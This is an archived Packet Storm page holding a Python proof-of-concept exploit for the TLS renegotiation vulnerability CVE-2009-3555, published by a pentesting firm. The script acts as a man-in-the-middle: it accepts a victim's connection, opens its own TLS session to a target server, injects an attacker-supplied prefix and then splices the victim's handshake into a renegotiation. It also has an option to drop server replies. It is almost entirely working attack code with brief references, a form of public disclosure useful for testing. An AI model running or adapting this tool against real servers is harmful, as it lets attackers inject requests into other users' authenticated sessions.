Lucene search

K
packetstormRedteam-pentesting.dePACKETSTORM:84112
HistoryDec 21, 2009 - 12:00 a.m.

TLS Renegotiation Exploit

2009-12-2100:00:00
redteam-pentesting.de
packetstormsecurity.com
185

0.002 Low

EPSS

Percentile

62.4%

`#!/usr/bin/env python  
  
######################################  
# #  
# RedTeam Pentesting GmbH #  
# [email protected] #  
# http://www.redteam-pentesting.de #  
# #  
######################################  
  
# PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555)  
  
# License  
# -------  
# CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/  
  
# Timeline  
# --------  
# 2009-12-21 initial public release  
  
# Known Issues  
# ------------  
# Firefox: if it fails connecting to a TLS site too often, falls back to  
# issuing SSLv2 ClientHello only until browser is restarted  
#  
# wget: attempts SSLv2 ClientHello by default  
  
# References  
# ----------  
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555  
# http://www.phonefactor.com/sslgap  
# http://www.extendedsubset.com/  
# http://www.g-sec.lu/practicaltls.pdf  
# http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01  
  
import tlslite  
import tlslite.api  
import tlslite.messages  
import tlslite.constants  
import struct  
import socket  
import threading  
import array  
import sys  
import optparse  
  
  
if not hasattr(threading.Thread, 'name'):  
# emulate python 2.6 threading module for earlier versions  
threading.current_thread = threading.currentThread  
setattr(threading.Thread, 'name',  
property(threading.Thread.getName, threading.Thread.setName))  
  
def forward(sock1, sock2):  
sock1.settimeout(1.0)  
while True:  
try:  
data = sock1.recv(4096)  
if not data:  
return  
sock2.send(data)  
except socket.error, ex_error:  
if ex_error[0] == 104: # Connection reset by peer  
return  
except socket.timeout, ex_timeout:  
pass  
  
  
class MessageWrapper(object):  
def __init__(self, version = (3, 1), ssl2 = False):  
self.contentType = tlslite.messages.ContentType.handshake  
self.ssl2 = ssl2  
self.client_version = version  
  
def setType(self, type):  
self.contentType = type  
  
def addBytes(self, bytes):  
self.bytes = bytes  
  
def write(self, trial=False):  
if trial:  
raise Exception('Unsupported')  
return array.array('B', self.bytes)  
  
def send_record(sock, msg_type, version_major, version_minor, record):  
msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record))  
if type(record) != str:  
msg += record.tostring()  
else:  
msg += record  
sock.send(msg)  
  
def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)):  
msg = MessageWrapper(version)  
msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes))  
msg.setType(type)  
for dummy in sslsock._sendMsg(msg, True):  
pass  
  
def decrypt_record(sslsock, type, recordbytes):  
for result in sslsock._decryptRecord(type, array.array('B', recordbytes)):  
pass  
return result  
  
def recv_record(sock):  
try:  
header = sock.recv(5)  
if not header:  
return None, None, None, None  
msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header)  
record = ''  
while len(record) != msg_length:  
record += sock.recv(msg_length - len(record))  
return msg_type, msg_version_major, msg_version_minor, record  
except socket.error, ex:  
if ex[0] == 104: # Connection reset by peer  
return  
  
def recv_clienthello(sock):  
header_bytes = []  
header_bytes.append(sock.recv(1))  
header_bytes[0] = struct.unpack('!B', header_bytes[0])[0]  
if header_bytes[0] & 0x80:  
# Version 2.0 Client "Record Layer"  
header_bytes.append(sock.recv(1))  
header_bytes[1] = struct.unpack('!B', header_bytes[1])[0]  
msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1]  
msg_version_major = 2  
msg_version_minor = 0  
msg_type = tlslite.constants.ContentType.handshake  
record = sock.recv(msg_length)  
else:  
header = sock.recv(4)  
msg_type = header_bytes[0]  
msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header)  
record = sock.recv(msg_length)  
  
return msg_type, msg_version_major, msg_version_minor, record  
  
def send_hello_request(sock):  
sock.send("\x16" # Record Layer: Handshake Message  
+"\x03\x01" # Record Layer Version: TLS 1.0  
+"\x00\x04" # Record Layer Length: 4  
+"\x00" # Handshake Message Type: Hello Request  
+"\x00\x00\x00") # Handshake Message Length: 0  
  
def send_protocol_version_alert(sock):  
sock.send("\x15" # Record Layer: Alert"  
+"\x03\x01" # Record Layer Version: TLS 1.0  
+"\x00\x02" # Record Layer Length: 2  
+"\x00" # Alert Message: fatal  
+"\x46") # Alert Message: protocol version  
  
  
def handle_victim(victim, options, mitmcount):  
  
if options.one_shot and mitmcount != 0:  
print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only'  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect(options.target)  
print threading.current_thread().name, 'Connected to target %s:%u' % options.target  
except socket.error, ex:  
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target  
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])  
sys.exit(1)  
  
t1 = threading.Thread(target=forward, args=(sock, victim))  
t1.start()  
  
t2 = threading.Thread(target=forward, args=(victim, sock))  
t2.start()  
  
t1.join()  
sock.close()  
  
t2.join()  
victim.close()  
return  
  
# obtain initial "client hello" message  
msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim)  
if msg_version_major == 2:  
print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread"  
return  
  
tls_version = (msg_version_major, msg_version_minor)  
type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39])  
resume_session = (session_id_length != 0)  
if resume_session:  
print threading.current_thread().name, "client attempting to resume session"  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect(options.target)  
print threading.current_thread().name, 'Connected to target %s:%u' % options.target  
except socket.error, ex:  
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target  
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])  
sys.exit(1)  
  
  
sslsock = tlslite.api.TLSConnection(sock)  
handshake_settings = tlslite.HandshakeSettings.HandshakeSettings()  
handshake_settings.minVersion = tls_version  
handshake_settings.maxVersion = tls_version  
sslsock.handshakeClientCert(settings = handshake_settings)  
  
# inject prefix  
sslsock.write(options.inject)  
print threading.current_thread().name, 'Injected %s' % repr(options.inject)  
  
# send original "client hello" message over the encrypted channel  
send_encapsulated(sslsock, 22, hello_msg, tls_version)  
  
# now receive serveral TLS messages from the server, decrypt them, and forward  
# them to the client, until the server sends "server hello done"  
# these messages include "server hello", "certificate", "server key exchange",  
# unless the client is trying to resume a previous session  
print threading.current_thread().name, "about to receive server handshake messages"  
server_handshake_done = False  
while not server_handshake_done:  
msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock)  
if result:  
result = decrypt_record(sslsock, msg_type, result)  
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)  
if result[0] == 0x0e: # server hello done - should terminate handshake  
server_handshake_done = True  
elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant  
server_handshake_done = True  
else:  
print threading.current_thread().name, 'receive from server failed, exiting thread'  
return  
print threading.current_thread().name, "server handshake done"  
  
  
# now its the the client's turn to send some messages, e.g.  
# "client key exchange" and "change cipher spec"  
print threading.current_thread().name, "about to receive client handshake messages"  
handshake_finished = False  
while not handshake_finished:  
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)  
print threading.current_thread().name, msg_type  
send_encapsulated(sslsock, msg_type, record, tls_version)  
if msg_type == 0x14: # change cipher spec  
handshake_finished = True  
  
print threading.current_thread().name, "client handshake done"  
  
# message after "change cipher spec" must be sent in the "clear"  
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)  
send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record)  
  
# server should now send "change cipher spec" message, we decrypt and send that to the victim  
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)  
result = decrypt_record(sslsock, msg_type, record)  
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)  
  
# finalize handshake  
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)  
if record:  
send_record(victim, msg_type, msg_version_major, msg_version_minor, record)  
else:  
sslsock.sock.close()  
victim.close()  
del sslsock  
return  
  
  
  
# the rest is just forwarding TLS records between both parties,  
# which we cannot interfere with anymore, apart from dropping server  
# responses  
if options.drop:  
sslsock.sock.close()  
del sslsock  
else:  
t1 = threading.Thread(target=forward, args=(sslsock.sock, victim))  
t1.start()  
  
t2 = threading.Thread(target=forward, args=(victim, sslsock.sock))  
t2.start()  
  
if not options.drop:  
t1.join()  
sslsock.sock.close()  
  
t2.join()  
victim.close()  
  
  
  
if __name__ == "__main__":  
parser = optparse.OptionParser()  
parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443)  
parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0')  
parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' )  
parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA')  
parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE')  
parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA')  
parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections')  
parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating')  
  
(options, args) = parser.parse_args()  
  
if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1:  
print 'Exactly one injection option must be specified'  
sys.exit(1)  
  
if options.inject_file:  
try:  
options.inject = open(options.inject_file, 'r').read()  
except IOError, ex:  
print ex  
sys.exit(1)  
  
if options.inject_base64:  
import base64  
try:  
options.inject = base64.decodestring(options.inject_base64)  
except base64.binascii.Error, ex:  
print 'Error decoding base64 data: %s' % ex  
sys.exit(1)  
  
  
if not options.listen_port or \  
not options.bind_address or \  
not options.target or \  
not options.inject:  
parser.print_help()  
sys.exit(1)  
  
target = options.target.split(':')  
if len(target)==2:  
try:  
target[1] = int(target[1])  
except ValueError:  
target[1] = None  
if len(target)!=2 or not target[0] or not target[1]:  
print 'Target \'%s\' not in format HOST:PORT' % options.target  
sys.exit(1)  
  
options.target = tuple(target)  
  
try:  
listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
listensocket.bind((options.bind_address, options.listen_port))  
print 'Listening on %s:%u' % (options.bind_address, options.listen_port)  
except socket.error, ex:  
print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port)  
print 'Error code %u, \'%s\'' % (ex[0], ex[1])  
sys.exit(1)  
  
listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
listensocket.listen(5)  
  
mitmcount = 0  
  
while True:  
try:  
victim, victimaddr = listensocket.accept()  
print 'New connection from %s:%u' % victimaddr  
  
threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start()  
mitmcount += 1  
  
except KeyboardInterrupt, ex:  
print '\nAborted by user, exiting...'  
listensocket.close()  
sys.exit(1)  
  
  
`